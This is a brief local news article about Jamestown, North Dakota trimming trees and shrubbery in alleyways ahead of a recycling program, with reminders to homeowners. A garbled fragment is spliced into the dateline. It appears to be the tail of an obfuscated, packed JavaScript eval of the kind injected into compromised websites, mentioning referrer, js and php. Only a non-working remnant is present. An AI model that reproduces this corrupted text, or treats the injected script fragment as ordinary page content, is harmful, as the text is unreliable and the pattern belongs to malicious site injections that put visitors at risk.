JAMESTOWN, sthsk|var|u0026u|referrer|knyes||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – The City of Jamestown Street Department will begin working through the city trimming trees & shrubbery in alleyways in anticipation of the recycling program.

This will be done to prevent interference with maintenance equipment. Trees must be trimmed up to 16 feet high.

“It is the homeowner’s responsibility to maintain the trees and shrubbery adjacent to the alley ways,” the city states. “When this responsibility is neglected, it becomes the duty of the City to clear overgrowth that threatens public safety. This is a clearance procedure and should not be mistaken for a complete pruning of trees and/or shrubbery.”

The city says homeowners should hire a professional if they are looking to have trees pruned.
